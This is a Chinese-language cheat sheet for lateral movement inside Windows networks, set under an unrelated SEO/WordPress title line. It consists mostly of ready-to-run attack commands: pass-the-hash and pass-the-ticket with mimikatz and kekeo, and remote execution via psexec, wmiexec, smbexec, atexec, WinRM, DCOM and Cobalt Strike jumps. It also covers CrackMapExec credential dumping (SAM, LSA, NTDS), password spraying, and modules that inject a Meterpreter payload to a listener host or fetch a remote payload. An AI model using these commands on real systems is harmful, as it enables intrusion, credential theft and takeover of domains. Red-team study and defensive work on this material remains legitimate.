广州seo团队,竞价推广与seo的区别,wordpress添加背景,wordpress友链代码内网
内网指的是内部局域网#xff0c;常说的LAN#xff08;local area network#xff09;。常见家庭wifi网络和小型的企业网络#xff0c;通常内部计算机直接访问路由器设备#xff0c;路由器设备接入移动电信的光纤实现上网。 内部局域网可以通过交换机/防火墙组成多个…内网
内网指的是内部局域网常说的LANlocal area network。常见家庭wifi网络和小型的企业网络通常内部计算机直接访问路由器设备路由器设备接入移动电信的光纤实现上网。 内部局域网可以通过交换机/防火墙组成多个网络局域多个局域之间进行访问控制。新概念安全域。 如专门存放服务器的统称为DMZ非军事化区域运维区内网办公区等常说的内网渗透就是在局域网内部渗透内网渗透比较有难度的是域渗透。
KB2871997KB2928120
微软在2014年发布了KB2871997和KB2928120两个补丁用来阻止域内主机本地用户的网络登录这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享本地用户的PTH方式已经死掉然而默认的AdministratorSID 500这个账户仍可以进行PTH并且在禁用NTLM的情况下psexec无法进行远程连接但是使用mimikatz可以攻击成功。
UNC路径
UNC路径代表通用命名约定路径Universal Naming Convention它是一种网络路径格式用于标识在网络上共享的资源位置。UNC路径允许您在本地网络中访问远程共享。
UNC路径由两个反斜杠\后跟远程计算机的名称或IP地址、可选的共享名称、可选的路径和文件名组成。例如
\\ComputerName\ShareName\Path\FileName其中ComputerName是远程计算机的名称或IP地址ShareName是共享名称在访问共享时需要使用该名称Path是共享文件夹中的路径FileName是所需文件的名称。
WMI
WMIWindows management instrumentation可以描述为管理Windows系统的方法和功能我们可以把它当作API来与Win系统进行相互交流WMI在渗透测试中的价值在于它不需要下载和安装WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生不会留下任何痕迹。
135端口
RPC远程过程调用服务WMICwinsows management instrumentation用到这个端口。 wmic具体用法如下
# 打开一个计算器wmic /node:ip /user:用户名 /password:密码 PROCESS call create calc.exe #无回显wmic /node:192.168.1.56 /user:administrator /password:aab1s PROCESS call create calc.exewmic /node:192.168.1.56 /user:administrator /password:aab1s process call create cmd.exe /c ipconfig C:\1.txt连接报错如下信息 ip错了报如下信息 密码填错报如下信息 用另一台计算机尝试连接正常访问命令执行成功wmic执行后无回显需写入到文本文件中。 WMIEXEC
获取交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab1s执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab1s cmdkey /list如上是提供了密码如无密码可以利用wce的hash注入然后执行wmiexec就可以了。
wce –s 账号:主机名或域的名字:LM:NTLM cscript //nologo wmiexec.vbs /shell 192.168.0.1如果抓取的LM hash是AAD3开头的或者是No Password之类的计用32个0代替LM hash
wmiexec.exe
wmiexec.exe ./administrator:aab1s192.168.1.56 whoamihash传递
wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator192.168.10.173 ipconfighttps://github.com/rootclay/WMIHACKER/blob/master/README_zh.md
137138139端口
137、138为UDP端口主要用于内网传输文件NetBios/SMB服务的获取主要是通过139端口。
445端口
共享文件夹、共享打印机
ipc$
IPC$是共享“命名管道”的资源为了让进程间通信而开放的命名管道通过提供可信任的用户名和口令连接双方可以建立安全的通道并以此通道进行加密数据的交换从而实现对远程计算机的访问从NT/2000开始使用。
IPC$在同一时间内两个IP之间只允许建立一个连接。
NT/2000在提供了ipc$功能的同时在初次安装系统时还打开了默认共享即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或管理员目录(admin$)共享。
net use \\192.168.1.56\c$ password /user:domain\usernamenet use \\192.168.1.56\c$ aab1s /user:administrator另一台主机net use远程连接 扩展语法
net use \\192.168.1.56\c$ # 删除ipc$连接net use \\192.168.1.56\ipc$ /del # 将目标磁盘映射到本地net use z: \\192.168.1.56\c$ # 删除映射net use z: /del # 关闭共享net use ipc$ /delipc$空连接
横向渗透SMB通过445端口
利用SMB服务需要先建立IPC可以通过hash传递来远程执行默认回来System权限需要目标防火墙开启445并允许通过。
psexec
net use \\192.168.1.56\c$ aab1s /user:administrator PsExec.exe \\192.168.1.56 whoami .\PsExec.exe -u administrator -p 123456 \\dc01 cmd # 交互式shell相同凭证可直接登录psexec -accepteula \\ip -s cmd.exe执行原理
1.通过ipc$连接释放psexecsvc.exe到目标 2.通过服务管理SCManager远程创建psexecsvc服务并启动服务。 3.客户端连接执行命令服务端启动相应的程序并执行回显数据。 4.运行完后删除服务。这个在windows的日志中有详细的记录另外psexec在少数情况下会出现服务没删除成功的bug所以一般不推荐使用psexec推荐wmiexec
C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin123 -d -c C:\WINDOWS\Temp\beacon.execs - plugins
选中需横向的主机jump-psexec64 选择一个认证listen如果可出网选择1内网横向则用smb beacon2。
直接使用命令行。
jump [module] [target] [listener]jump psexec64 192.168.10.173 local通过psexec横向到目标机器凭证用的是已知凭证去碰撞
此时整体拓扑如下是父子关系这是因为用的是http beacon直接连接teamserver如果用smb beacon就是link关系。 换一下smb beacon 主机ip后面带有四个圆圈。 smb的箭头是黄色
https://www.cnblogs.com/sup3rman/p/12381874.html
SMBEXEC
明文传递
smbexec.exe administrator:aab1s192.168.10.173hash传递
hash传递smbexec -hashes :$HASH$ admin192.168.10.173smbeexec -hashes :$HASH$ domain/admin192.168.10.173dump hash atexec
批量
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ admin!#45 /user:administrator #批量检测 IP 对应明文 连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!#45%%i whoami #批量检测 IP 对应明文 回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i192.168.3.21 whoami #批量检测明文对应 IP 回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版 PTH
域/工作组环境内存中存在和当前机器相同的密码在身份验证过程中基本过程是从用户那里收集密码然后对其进行加密然后将正确密码的加密哈希用于将来的身份验证。
初次认证后Windows 将哈希值保存在内存中这样用户就不必一次又一次地输入密码。
在凭证转储期间我们看到我们已经提取了大量的哈希值。现在作为攻击者我们不知道密码。因此在身份验证期间我们提供哈希而不是密码。
Windows比较哈希值并热烈欢迎攻击者。简而言之这就是 Pass-the-Hash 攻击。
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
mimikatz - PTH
privilege::debug sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a弹出窗口后连接共享端口传输文件
# privilege::debug# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a拷贝文件 参考内网渗透–Hash传递攻击
PTK
需要存在补丁kb2871997
使用minikatz获取aes256_hmacsekurlsa::ekeys传递连接sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b PTT
实现步骤 1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c” 2、导入票据 kerberos::ptt [TGT_hahaHSYY.COM_krbtgt](mailto:TGT_hahaHSYY.COM_krbtgt)~hsyy.comGOD.ORG.kirbi 3、查看凭证 klist 4、利用 net use 载入 dir \192.168.213.163\c$ smbclient
认证登录
明文
smbclient -L //192.168.10.173 -U Administratorhash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/Administrator192.168.10.173空会话枚举
smbclient -N -U -L \\192.168.1.214rpcclient
# rpcclient -U -N 10.10.10.161 rpcclient $enumdomusers # rpcclient -U corp.pentest.lab/administrator 10.10.10.161 cme
https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows
执行命令
crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfigpowershell
#~ crackmapexec 192.168.10.11 -u Administrator -p Pssw0rd -X $PSVersionTablebypass ASMI
#~ crackmapexec 192.168.10.11 -u Administrator -p Pssw0rd -X $PSVersionTable --amsi-bypass /path/payloadcme网络扫描
crackmapexec smb 10.0.0.0/24crackmapexec smb 192.168.10.173 -u administrator -p aab1s --sharescrackmapexec smb 192.168.10.83 -u airs-win7 -p aab1s --sharescrackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares 枚举空会话
cme smb 10.10.10.161 -u -p cme smb 10.10.10.161 --pass-polcme smb 10.10.10.161 --userscme smb 10.10.10.161 --groups cme smb 10.10.10.178 -u a -p -sharescme smb 10.10.10.178 -u -p -shares # 以递归方式遍历所有共享scrackmapexec smb -u -p -M spider_plus凭证获取
crackmapexec smb 192.168.10.173 -u administrator -p aab1s --sam crackmapexec smb 192.168.10.173 -u administrator -p aab1s --lsacrackmapexec smb 192.168.10.173 -u administrator -p aab1s --ntdscrackmapexec smb 192.168.10.173 -u administrator -p aab1s --ntds vssmsf反弹shell 枚举远程目标上的活动会话
#~ cme smb 192.168.1.0/24 -u UserNAme -p PASSWORDHERE --sessions #~ cme smb 192.168.1.0/24 -u UserNAme -p PASSWORDHERE --shares密码喷洒
使用空格指定多个用户名/密码
#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3通过文本指定字典
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt找到密码后继续爆破
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success # 一对一爆破#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes认证
域
User/Hash
获取凭证如下
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::#~ cme smb 192.168.1.0/24 -u UserNAme -H LM:NT#~ cme smb 192.168.1.0/24 -u UserNAme -H NTHASH#~ cme smb 192.168.1.0/24 -u Administrator -H 13b29964cc2480b4ef454c59562e675c#~ cme smb 192.168.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p PASSWORDHERE --local-auth#~ cme smb 192.168.1.0/24 -u -p --local-auth#~ cme smb 192.168.1.0/24 -u UserNAme -H LM:NT --local-auth#~ cme smb 192.168.1.0/24 -u UserNAme -H NTHASH --local-auth#~ cme smb 192.168.1.0/24 -u localguy -H 13b29964cc2480b4ef454c59562e675c --local-auth#~ cme smb 192.168.1.0/24 -u localguy -H aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c --local-auth爆破结果后如下 SMB 192.168.1.101 445 HOSTNAME [] HOSTNAME\Username:Password (Pwn3d!) winRM
#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce# use the latest release, CME is now a binary packaged will all its dependenciesrootpayload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip # execute cme (smb, winrm, mssql, ...)rootpayload$ cme smb -Lrootpayload$ cme smb -M name_module -o VARDATArootpayload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-authrootpayload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --sharesrootpayload$ cme smb 192.168.1.100 -u Administrator -H :5858d47a41e40b40f294b3100bea611f -d DOMAIN -M invoke_sessiongopherrootpayload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTIONenablerootpayload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST192.168.1.63 LPORT4443rootpayload$ cme smb 192.168.1.100 -u Administrator -H :5858d47a41e40b40f294b3100bea611f -M web_delivery -o URLhttps://IP:PORT/posh-payloadrootpayload$ cme smb 192.168.1.100 -u Administrator -H :5858d47a41e40b40f294b3100bea611f --exec-method smbexec -X whoamirootpayload$ cme smb 10.10.14.0/24 -u user -p Password --local-auth -M mimikatzrootpayload$ cme mimikatz --server http --server-port 80at、schtasks、
at
windows版本2012高版本中使用schtasks命令
at [\computername] [[id] [/delete] | /delete [/yes]]at [\computername] time [/interactive] [/every:date[,...] | /next:date[,...]] command生成smb beacon 上传smb beacon文件 添加任务计划
shell at \\192.168.10.173 10:51 c:\local-smb.exe已运行无法反弹smb shell的问题。
换成web beacon成功反弹。 https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at
schtasks
windows2012
schtasks create
创建任务对应执行文件
schtasks /create /sc scheduletype /tn taskname /tr taskrun [/s computer [/u [domain\]user [/p password]]] [/ru {[domain\]user | system}] [/rp password] [/mo modifier] [/d day[,day...] | *] [/m month[,month...]] [/i idletime] [/st starttime] [/ri interval] [{/et endtime | /du duration} [/k]] [/sd startdate] [/ed enddate] [/it] [/z] [/f]schtasks /create /s 192.168.213.163 /ru SYSTEM /tn adduser /sc DAILY /tr c:\user.bat /Fschtasks run
执行文件任务
schtasks /run /s 192.168.213.163 /tn adduser /ischtasks delete
删除执行文件任务
schtasks /delect /s 192.168.213.163 /tn adduser /fhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create sharpwmi
.\sharpwmi.exe login 192.168.10.1/24 administrator aab1s cmd whoamics报错
[-] Invoke_3 on EntryPoint failed.nbtscan
通过IP扫描网络获取bios名称计算机名 bash$ sudo nbtscan -v -s : 192.168.1.0/24cs plugin winRM
WinRMwindows远程管理是WS管理协议的Microsoft实现一种基于标准的SOAP协议允许来自不同供应商的硬件和操作系统相互操作能够对本地或远程的服务器进行管理获得一个类似Telnet的交互式命令行shell以便降低系统管理员复杂的操作。
端口 HTTP(5985) HTTPS SOAP5986
前提凭证及权限
CS中有WinRM模块。 winrmx86通过WinRM来运行一个PowerShell脚本 winrmx64通过WinRM来运行一个PowerShell脚本
进入winrm64后内容如下 前提需要有认证才可以横向进入此处的认证获取可以通过内部撞库、历史RDP凭证等方式获取内部撞库是拿已知的密码去尝试是否有复用密码历史RDP凭证是如果管理员再内网通过3389登录后且记录了密码可以通过获取历史RDP登录记录获取凭证。
如上图所示已经拥有192.168.1.214的密码凭证但不清楚192.168.1.55的凭证此时可以尝试使用192.168.1.214的凭证。
监听器和会话按需选择会话是当前的beacon。 尝试运行报错了。
jump winrm64 192.168.1.55 test查看服务器端口情况未开启5985端口。 可通过winrm命令开启5985端口windows server 2008默认winrm服务是启动的但端口未开放需要通过winrm quickconfig -q 或者 winrm qc开启端口。 开启winRM服务 重新查看端口开放情况5985端口已打开。 开启防火墙或关闭防火墙命令
C:\Windows\system32netsh advfirewall firewall set rule groupWindows 远程管理 new enableyes使用powershell连接服务器
需提前开启信任主机
PS C:\Users\Administrator Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force# 这个命令需要再客户端执行而不是再服务端执行 或者用下面的命令winrm set winrm/config/client {TrustedHosts*} PS C:\Users\Administrator Enter-PSSession 192.168.1.55 -Credential administrator输入凭证连接成功。 或者
New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)Enter-PSSession 1通过CS操作
beacon jump winrm64 192.168.1.55 test成功返回shell 修复建议
禁用WinRM
winrm delete winrm/config/listener?IPAdress*TransportHTTP⚠️ windows8、windows10、windows server 2012及以上系统WinRM服务默认开启。
evil-winrm
GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting
WinRS
WinRS(Windows Remote Shell)是一种远程管理工具用于在Windows远程服务器上运行命令行命令。WinRS使用WinRMWindows Remote Management协议向远程计算机发送命令行请求。 WinRS在Windows Server 2008及更高版本的操作系统中预安装并且可以在Windows 7及更高版本的操作系统中启用。要使用WinRS您必须在远程服务器上启用WinRM并且在本地计算机上运行命令时必须使用管理员权限。
winrs -r:192.168.1.55 cmd /c ipconfig# 端口复用下winrs -r:http://192.168.1.55 -u:administrator -p:aab1s whoamiwinrs -r:http://192.168.1.55 -u:administrator -p:aab1s cmdDCOM
DCOM代表分布式组件对象模型Distributed Component Object Model它是一种Microsoft的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM使开发人员能够从远程计算机上执行代码并使应用程序之间的通信更为容易和灵活。
PS C:\Users\Administrator Get-ChildItem registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}PS C:\Users\Administrator $a [System.Activator]::CreateInstance([type]::GetTypeFromProgID(MMC20.Application.1,192.168.1.55)) PS C:\Users\Administrator $a.Document.ActiveView.ExecuteShellCommand(cmd,$null,/c hostname c:\fromdcom.txt,7) PS C:\Users\Administrator Get-Content \\192.168.1.55\c$\fromdcom.txtWIN-BVVD8VFVMPRSCShell
GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command
No445
GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port
数据库命令执行
GitHub - 0x727/SqlKnife_0x727: 适合在命令行中使用的轻巧的SQL Server数据库安全检测工具
参考
https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116